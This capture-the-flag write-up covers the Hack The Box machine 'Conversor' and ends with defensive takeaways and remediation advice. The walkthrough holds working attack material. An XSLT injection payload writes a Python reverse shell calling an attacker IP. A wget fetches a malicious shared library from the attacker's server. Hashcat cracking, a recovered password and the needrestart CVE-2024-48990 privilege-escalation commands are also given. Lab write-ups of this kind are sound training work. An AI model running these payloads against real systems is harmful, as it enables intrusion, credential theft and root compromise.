Conversor writeup

Conversor writeup

Box name: Conversor

Difficulty: Easy

OS: Linux

Overview: Conversor is an easy-difficulty Linux machine featuring a web application that converts XML documents into visually formatted HTML documents using XSLT stylesheets. By registering an account and reviewing the downloadable source code, we discover that the application processes user-supplied XSLT files without proper sanitisation, leading to an XSLT injection vulnerability. This allows us to write a malicious Python script to a server-side directory that is periodically executed by a cron job, granting an initial shell as www-data. Enumerating the application directory reveals a SQLite database file containing user credentials, from which we extract and crack an MD5 password hash to obtain valid SSH access as the user fismathack. For privilege escalation, the machine highlights a misconfigured sudo rule allowing execution of needrestart, which is vulnerable to CVE-2024-48990, enabling code execution via a controlled PYTHONPATH and ultimately allowing us to gain root privileges.

Link: https://app.hackthebox.com/machines/Conversor?tab=machine_info&sort_by=created_at&sort_type=desc

Machine IP: 10.129.238.31

Ran rustscan against the machine.

rustscan -a 10.129.238.31 –ulimit 5000 -b 2000 — -A -Pn

Added conversor.htb to /etc/hosts. It brings us to a login page.

Registered as a test user kami:kami and upon logging it looks like we can upload XML and XSLT files which converts the XML into a more aesthetic format.

Did some research and PayloadsAllTheThings has some XSLT Injection payloads https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSLT%20Injection/README.md. I uploaded the Vendor payload and get this back.

I tried using the base64 meterpreter payload but it doesn’t evaluate the preg variable. Poked around on the website and we can actually get the source code. Downloaded that.

Confirmed there is no sanitization. In install.md it looks like it runs scripts in /var/www/conversor.htb/scripts/.

I tried using PayloadAllTheThings to write a python script in that directory, and after a lot of troubleshooting I eventually got a shell using this .xml.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/GG.py" method="text">import socket,subprocess,os;s=socket.socket();s.connect(("10.10.16.27",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])</exploit:document>
</xsl:template>
</xsl:stylesheet>

Stabilized my shell. Poked around and I found a database with a user and a hash.

Used hashcat to crack the hash.

hashcat -m 0 ‘5b5c3ac3a1c897c94caad48e6c71fdec’ /usr/share/wordlists/rockyou.txt

fismathack:Keepmesafeandwarm

I was able to ssh in with this user and grab user.txt.

Ran sudo -l and we have access to a needrestart.

This is vulnerable to CVE-2024-48990 and I found a github here https://github.com/ns989/CVE-2024-48990. Downloaded it and hosted a http server.

git clone https://github.com/ns989/CVE-2024-48990&nbsp;

cd CVE-2024-48990 

gcc exploit.c -o __init__.so -shared -fPIC -nostartfiles 

python3 -m http.server 8080

Downloaded it to victim in mentioned path.

mkdir -p /tmp/.X11-Unix/importlib 

wget http://10.10.16.27:8080/__init__.so -O /tmp/.X11-Unix/importlib/__init__.so

It was giving me issues because needrestart was only scanning processes launched from a real script file, not inline code.

echo “import time; time.sleep(120)” > /tmp/sleep.py 

PYTHONPATH=/tmp/.X11-Unix/ python3 /tmp/sleep.py & 

sudo /usr/sbin/needrestart 

su _daemon 

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added conversor.htb to /etc/hosts and browsed to the site which presented a login page. Registered a test account and found functionality to upload XML and XSLT files for document conversion.

rustscan -a 10.129.238.31 –ulimit 5000 -b 2000 — -A -Pn

2 – Source code review and XSLT injection Downloaded the available source code from the website and confirmed there was no sanitization of user-supplied XSLT files. Found install.md which revealed a scripts directory at /var/www/conversor.htb/scripts/ that was periodically executed by a cron job. Researched XSLT injection payloads and crafted a malicious XSLT file using the exslt document write extension to write a Python reverse shell script directly to the scripts directory. Waited for the cron job to execute it and caught a shell as www-data.

3 – Database credential extraction and lateral movement Stabilized the shell and enumerated the application directory. Found a SQLite database containing a user account and an MD5 hash. Cracked it with Hashcat using rockyou and SSH’d in as fismathack. Retrieved user.txt.

hashcat -m 0 ‘5b5c3ac3a1c897c94caad48e6c71fdec’ /usr/share/wordlists/rockyou.txt

Credentials recovered: fismathack:Keepmesafeandwarm

4 – Privilege Escalation – needrestart CVE-2024-48990 Ran sudo -l and found fismathack could run needrestart as root. Researched needrestart and found CVE-2024-48990, a privilege escalation vulnerability exploitable via a controlled PYTHONPATH. Compiled the exploit shared library, placed it in the PYTHONPATH location, launched a long-running Python script to create a scannable process, and triggered needrestart via sudo. Escalated to root and retrieved root.txt.

gcc exploit.c -o __init__.so -shared -fPIC -nostartfiles mkdir -p /tmp/.X11-Unix/importlib echo “import time; time.sleep(120)” > /tmp/sleep.py PYTHONPATH=/tmp/.X11-Unix/ python3 /tmp/sleep.py & sudo /usr/sbin/needrestart


Key Takeaways

  1. Unsanitized XSLT file processing enabling arbitrary file write – The application processed user-supplied XSLT files with no sanitization, allowing the exslt document extension to write arbitrary files to the server filesystem. User-supplied stylesheets must be processed in a sandboxed environment with no filesystem write capabilities. XSLT processing must explicitly disable extension functions and external document access.
  2. Cron job executing scripts from a web-accessible directory – A cron job running as www-data executed all scripts in a directory that was writable via the XSLT injection. Cron jobs must only execute scripts from directories that are owned and writable exclusively by root or the intended service account. Web application directories must never be in the execution path of scheduled tasks.
  3. MD5 password hash stored in application database – The fismathack account password was stored as an unsalted MD5 hash in the SQLite database, crackable instantly against common wordlists. MD5 is not a suitable algorithm for password storage and must be replaced with bcrypt, scrypt, or Argon2.
  4. Weak password crackable with rockyou – The fismathack password was in the rockyou wordlist. All user account passwords must meet complexity requirements that resist dictionary attacks regardless of the hashing algorithm in use.
  5. needrestart sudo rule enabling CVE-2024-48990 exploitation (CVSS 7.8 High) – fismathack could run needrestart as root and the vulnerable version allowed PYTHONPATH manipulation to load arbitrary shared libraries as root. Sudo rules for system utilities must be kept patched and must be reviewed against known exploitation techniques before being granted.

Remediation

[Immediate] Disable XSLT extension functions and external document access Reconfigure the XSLT processing engine to disable all extension element prefixes including exslt and xalan. Explicitly prohibit external document writes and URI resolution in the XSLT processor configuration. Process all user-supplied stylesheets in an isolated sandbox with no filesystem access outside a designated temporary directory.

[Immediate] Patch needrestart to remediate CVE-2024-48990 (CVSS 7.8 High) Update needrestart to the latest patched version immediately. Remove the sudo rule allowing fismathack to run needrestart as root. If needrestart must be run with elevated privileges, restrict it to a dedicated service account with no ability to set PYTHONPATH or influence the Python module search path.

[Immediate] Restrict cron job execution directories Audit all cron jobs and verify that every script they execute is owned by root and located in a directory not writable by web application service accounts or other non-privileged users. Remove the scripts directory from the cron execution scope immediately and relocate any legitimate scripts to a root-owned path.

[Immediate] Replace MD5 password hashing with a modern algorithm Migrate all stored password hashes from MD5 to bcrypt, scrypt, or Argon2 with appropriate cost factors. Force a password reset for all affected accounts after migration. Audit all application databases for weak or unsalted hash algorithms and remediate any findings.

[Short-term] Enforce strong passwords across all accounts The fismathack password was in the rockyou wordlist. Enforce a minimum password length of 14 characters with complexity requirements for all application and OS accounts. Audit existing passwords against common wordlists and force resets where weak passwords are identified.

[Long-term] Implement a secure file processing and application hardening baseline Define a hardening standard for all document processing applications covering XSLT sandbox configuration, file upload validation, scheduled task directory permissions, and password storage requirements. Include file conversion and document processing applications in regular security assessments and verify that all processing pipelines restrict filesystem access to the minimum required scope.

Leave a comment